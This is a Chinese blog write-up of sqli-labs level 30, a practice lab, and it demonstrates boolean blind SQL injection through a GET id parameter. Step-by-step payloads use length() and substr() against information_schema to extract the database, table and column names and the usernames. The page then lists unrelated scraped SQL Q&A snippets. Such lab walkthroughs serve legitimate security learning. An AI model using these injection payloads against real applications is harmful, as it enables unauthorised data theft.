SQL-labs的第30关——有防火墙 布尔盲注(Get)

2023-11-09

1、判断闭合方式

输入语句

?id=1\

,返回页面如下:

我们发现没有报错信息,所以不适合使用报错注入。

我们输入语句

?id=1" and 1=2--+

,返回页面如下:

输入语句

?id=1" and 1=1 --+

,返回页面如下:

闭合方式是双引号。

2、选择注入方式

我们发现当输入语句错误和正确时,返回的页面不一样。所以适合使用布尔盲注。

3、确定数据库名的长度

输入语句

?id=1" and length(database())=8 --+

,返回页面如下:

4、爆破数据库名

输入语句

?id=1" and substr(database(),1,1)='s' --+

,返回页面如下:

5、确定数据表的数量

输入语句

?id=1" and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

,返回页面如下:

6、确定单个数据表名的长度

输入语句

?id=1" and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6--+

,返回页面如下:

这说明第一个数据表的名字的长度为6。将limit 0,1该为limit 1,1表示查看第二个数据表名。

7、爆破数据表名

输入语句

?id=1" and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'--+

,返回页面如下:

8、确定字段的数量

输入语句

?id=1" and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' )=3--+

,返回页面如下:

9、确定字段名的长度

输入语句

?id=1" and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=2--+

,返回页面如下:

10、爆破字段名

输入语句

?id=1" and substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='i'--+

,返回页面如下:

11、确定字段内容的数量

输入语句

?id=1" and (select count(username) from users)=13--+

,返回页面如下:

12、确定字段内容的长度

输入语句

?id=1" and (select length(username) from users limit 0,1)=4 --+

,返回页面如下:

13、爆破字段内容

输入语句

?id=1" and substr((select username from users limit 0,1),1,1)='D' --+

,返回页面如下:

到此打靶结束

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL-labs的第30关——有防火墙 布尔盲注(Get) 的相关文章

  • 如果数组重叠,则折叠多行数组

    我在 PostgreSQL 9 3 中有一个表 其中包含一个列 每行包含一个数组 我正在努力寻找崩溃的方法 共享相同元素的数组行 Examples 简单重叠 给定以下两行数组 1 2 3 5 3 6 9 结果将是一行包含 5 1 2 3 6
  • 神秘的 getClobVal()

    我有一个表 AKADMIN 其中包含 XMLTYPE 列 其名称为 XML 我想在该列中使用 getClobVal select t xml getClobVal t xml getClobVal t xml getClobVal as c
  • 将日期格式(在数据库或输出中)更改为 dd/mm/yyyy - PHP MySQL

    MySQL 将日期存储在我的数据库中 默认情况下 为 YYYY MM DD 我的日期的字段类型是 DATE 我不需要任何时间存储 有没有一种简单的方法可以默认更改它到 DD MM YYYY 我在两个不同的表中调用不同的日期 并且在我的任何代
  • sql/mysql 过滤器仅包含最大值

    我有一个像这样的结果集 ID name myvalue 1 A1 22 2 A2 22 3 A3 21 4 A4 33 5 A5 33 6 A6 10 7 A7 10 8 A8 10 9 A9 5 我想要的是仅包含包含可用的最高 myval
  • Oracle 12 对 SQL 中的本地集合类型有问题吗?

    长话短说 我建议讨论下面看到的代码 运行时 Oracle 11 编译器引发 PLS 00306 调用 PIPE TABLE 时参数提示的数量或类型错误 PLS 00642 SQL 语句中不允许使用本地集合类型 Oracle 12编译下面的包
  • 在不使用 PHP 的情况下将 MYSQL 中的表字段更新为其值加上常量

    我想表演一个UPDATE in MYSQL其中我获取一个字段值 添加一个常量并将新值保存在同一字段中 假设我们有一个名为OldValue在一个名为aTable 伪代码可能是 UPDATE aTable SET OldValue OldVal
  • java.sql.SQLException: ORA-01005: 给定的密码为空;登录被拒绝

    我在尝试连接到数据库时遇到以下异常 java sql SQLException ORA 01005 null password given logon denied at oracle jdbc driver T4CTTIoer proce
  • oracle中是否有相当于concat_ws的东西?

    我有大量的列试图聚合在一起 其中大多数都有 NULL 值 我想分隔确实以 出现的值但我在oracle中找不到有效的方法来做到这一点 CONCAT WS 正是我所需要的 因为它不会在 NULL 值之间添加分隔符 但 Oracle 不支持这一点
  • Spring Boot如何加入自定义查询

    我需要创建一个端点 该端点按州返回人口普查数据以及城市列表 我目前使用两个端点来获取此数据 目前回应 自定义查询一 censusByState id 1 code 11 name Rond nia statePopulation 18152
  • SQL Server - 在设置 COLLATE Latin1_General_CS_AS 的情况下搜索不区分大小写

    家长提问 https stackoverflow com questions 50974562 sql server update to match and replace only exact words感谢 Iamdave 部分问题得到
  • 通过“SELECT”命令选择每组的前两条记录的最佳方法是什么?

    例如我有下表 id group data 1 1 aaa 2 1 aaa 3 2 aaa 4 2 aaa 5 2 aaa 6 3 aaa 7 3 aaa 8 3 aaa 通过 SELECT 命令选择每组的前两条记录的最佳方法是什么 如果没有
  • (PLSQL) 在 Oracle 更新触发器中测试更改值的最简单表达式是什么?

    这是一个可以解决问题的布尔表达式 nvl new location old location new location is null old location is null 但我想有一个更简单的表达方式 有任何想法吗 这些较短的方法都有
  • 删除 DB 但不删除 *.mdf / *.ldf

    我正在尝试自动化分离和删除数据库的过程 通过 VBS objshell run 如果我手动使用 SSMS 分离和删除我可以将数据库文件复制到另一个位置 但是如果我使用 sqlcmd U sa P MyPassword S local Q A
  • SQL 删除自动命名约束

    我使用脚本在表上创建了一些约束 但未指定约束名称 结果 我最终受到了像这样的限制FK DOC OBGS kntr 54E63309例如 是否可以在不指定确切的约束名称的情况下删除该约束 例如 类似这样的东西 不起作用 ALTER TABLE
  • SQL查询多行变成单行

    有什么方法可以将通常返回具有相同值的多行的 SQL 查询更改为单行吗 例如 如果我现有的查询返回以下内容 ColA ColB 1 AA 1 BB 1 CC 2 AA 3 AA 我可以将查询更改为仅返回 3 行 并将 1 的第二个和第三个结果
  • 如何对Oracle进行SQL注入

    我正在对一个系统进行审计 开发人员坚称该系统可以防止 SQL 注入 他们通过去掉登录表单中的单引号来实现这一点 但后面的代码没有参数化 它仍然使用字面 SQL 如下所示 username username Replace var sql s
  • 获取MySql中重复行的列表

    我有一张这样的桌子 ID nachname vorname 1 john doe 2 john doe 3 jim doe 4 Michael Knight 我需要一个查询 该查询将从具有相同 nachname 和 vorname 的记录
  • OVER ORDER BY 中的多个列

    有没有办法在 OVER ORDER BY 子句中指定多个列 SELECT ROW NUMBER OVER ORDER BY A Col1 AS ID FROM MyTable A 上面的方法工作正常 但尝试添加第二列不起作用 SELECT
  • 选择不带 FROM 但有多于一行的选择

    如何在不从现有表中进行选择的情况下生成 2 行 2 列的表 我正在寻找的是一个返回的选择语句 e g id value 1 103 2 556 Use UNION http dev mysql com doc refman 5 0 en u
  • oracle日期序列?

    我有一个 oracle 数据库 我需要一个包含 2 年所有日期的表 例如来自01 01 2011 to 01 01 2013 首先我想到了一个序列 但显然唯一支持的类型是数字 所以现在我正在寻找一种有效的方法来做到这一点 欢呼骗局 如果您想

随机推荐

  • Linux CentOS 巡检脚本

    系统巡检脚本 有常用的检查模块 如硬盘 内存 进程等 安全性检查等 1 巡查脚本 代码如下 示例 xunjian sh bin bash 系统状态 host while do clear echo e 当前在查看 e 1 31m 主机状态信
  • 永洪科技入选“2023大数据优秀服务商”

    8月23日 2023大数据优秀服务商 发布 永洪科技入选 此次评选由DBC CIS CIW eNet研究院牵头组织 旨在遴选大数据产业各细分赛道具有代表性与创新力的企业 组织 并展现其独特价值 重点考量技术实力 业内口碑 成长性 品牌力以及
  • LeetCode 5910. 检查两个字符串是否几乎相等

    如果两个字符串 word1 和 word2 中从 a 到 z 每一个字母出现频率之差都 不超过 3 那么我们称这两个字符串 word1 和 word2 几乎相等 给你两个长度都为 n 的字符串 word1 和 word2 如果 word1
  • Vue项目封装div拖动组件,实现div拖拽

    场景 在pc端项目中会碰到弹框后多个页面重叠的场景 类似于电脑打开多个文件夹 这时想要同时完整的展示两个页面的内容 就可以拖动页面 改变位置 很多教程都是使用自定义方法在单个组件中使用 本文带大家在Vue项目中封装一个拖拽div的方法 注册
  • JavaScript 弹窗

    JavaScript弹窗是Web开发中常见的交互方式之一 弹窗可以为用户提供提示 警告或者输入框等交互方式 让用户在使用网站或应用时更加便捷 在本文中 我们将讨论JavaScript弹窗的作用 类型和用途 JavaScript弹窗的作用 J
  • JVM的核心内容

    1 JVM对于java程序员的重要性可以用一下两句话来概述 1 1 关于任何java的技术问题都可以追溯到java虚拟机里面去 1 2 一个Java程序员水平的高低就看你对Java虚拟机这个东西有多了解 2 了解JVM需要先理解jdk与jr
  • 华为某高管工资曝光:每月高达27万,众网友表示长了见识

    如果说一个人工资每个月好几万 估计很多网友都会认为很高了 能拿到这么高薪资的人肯定是非常优秀和有能力的人 近日 一名在某企业从事招聘工作的网友在网上曝光了一条内容 其称在招聘简历中 无意发现了一份华为高管的简历 其级别是21级 月工资高达2
  • 利用Fiddler 解SSL加密 数据包

    在开发互联网应用的过程中 常常会设立或利用网络接口 为了调试对网络接口的使用 往往需要查看流入和流出网络接口的网络流量或数据包 抓包工具 就是一类用于记录通过网络接口的数据的工具 我们知道 网络协议是分层设计的 OSI模型将网络协议分为了7
  • 字符串之KMP详解

    昨晚梳理了一下KMP的过程 感觉印象深刻了不少 在此写下博客加深印象 同时也希望能和大家交流 KMP这个名字来源于其三个创始人名字首字母 主要用于解决字符串的匹配问题 字符串的匹配问题 假设有两个字符串S和T 问串T是否出现在串S中 串T在
  • Linux 链路聚合之bond和team

    交换机可以配置链路聚合 提供线路的冗余的同时提高带宽吞吐 服务器也可以通过bond team技术做网口硬件层面的冗余 防止单个网口应用的单点故障以及提高带吞吐量 bond模式最多可以添加两块网卡 team模式最多可以添加八块网卡 一 bon
  • vmware详细安装教程

    1 打开下载好的VMware安装文件 点击下一步 2 勾选 我接受许可协议中的条款 点击下一步 3 勾选 自动安装Windows Hypervisor Platform WHP 点击下一步 4 以下两个选项都勾选 5 选择安装路径 更改默认
  • TCP/IP协议三次握手与四次挥手

    一 标志位和序号 seq序号 发送方随机生成的 ack确认序号 ack seq 1 标志位ACK 1时确认序号有效 SYN标志位 发起一个新连接 ACK标志位 确认序号有效 FIN标志位 断开连接 二 三次握手 三次握手是客户端与服务端建立
  • 搭建 Github Pages 个人博客网站

    文章出自个人博客https knightyun github io 2018 04 01 github pages blog 1 1 转载请申明 目录 引言 关于博客 关于Github 创建Github账号 创建仓库 填充仓库 配置Gith
  • Linux sed 命令

    简介 sed Stream Editor文本流编辑 sed是一个 非交互式的 面向字符流的编辑器 能同时处理多个文件多行的内容 可以不对原文件改动 把整个文件输入到屏幕 可以把只匹配到模式的内容输入到屏幕上 还可以对原文件改动 但是不会再屏
  • 【WSL】[01] windows subsytem linux 安装、尤其(Ubuntu) 以及GUI的详细安装方法 - 升级APT到APT-FAST,加快8倍安装速度

    第 1 章前言 AI的训练和设计似乎ubuntu是必要的 而且 GPU的配置似乎也是要在Ubuntu下 某些模式版本才能兼容 单独搞一个编译服务器是个思路 但是 如果资金不够 也许要考虑在Windwos和Linux的系统共生下做点文章 Wi
  • liunux ubuntu 14.04/16 更换源为国内源--阿里云源/网易源/搜狐源

    转自 http www chenxm cc article 89 html 命令 sudo cp etc apt sources list etc apt sources list bak 备份 sudo vim etc apt sourc
  • Jenkins基础篇--linux安装Jenkins

    Jenkins简介 Jenkins是一个用Java编写的开源的持续集成工具 可用于自动化各种任务 如构建 测试和部署软件 持续集成是强调开发人员提交了新代码之后 立刻进行构建 单元 测试 根据测试结果 我们可以确定新代码和原有代码能否正确地
  • python中\t,\n,\n\t三者之间的区别

    ython中经常看到使用 t n n t 那么它们有什么区别之处呢 t 表示空4个字符 类似于文档中的缩进功能 相当于按一个Tab键 n 表示换行 相当于按一个 回车键 n t 表示换行的同时空4个字符 我们用例子来说明它们的区别 codi
  • qtdesigner设计表格_Qt GUI图形图像开发之QT表格控件QTableView详细使用方法与实例...

    QT表格控件QTableView简介 表格视图控件QTableView 需要和QStandardItemModel 配套使用 这套框架是基于MVC设计模式设计的 M Model 是QStandardItemModel数据模型 不能单独显示出
  • SQL-labs的第30关——有防火墙 布尔盲注(Get)

    1 判断闭合方式 输入语句 id 1 返回页面如下 我们发现没有报错信息 所以不适合使用报错注入 我们输入语句 id 1 and 1 2 返回页面如下 输入语句 id 1 and 1 1 返回页面如下 闭合方式是双引号 2 选择注入方式 我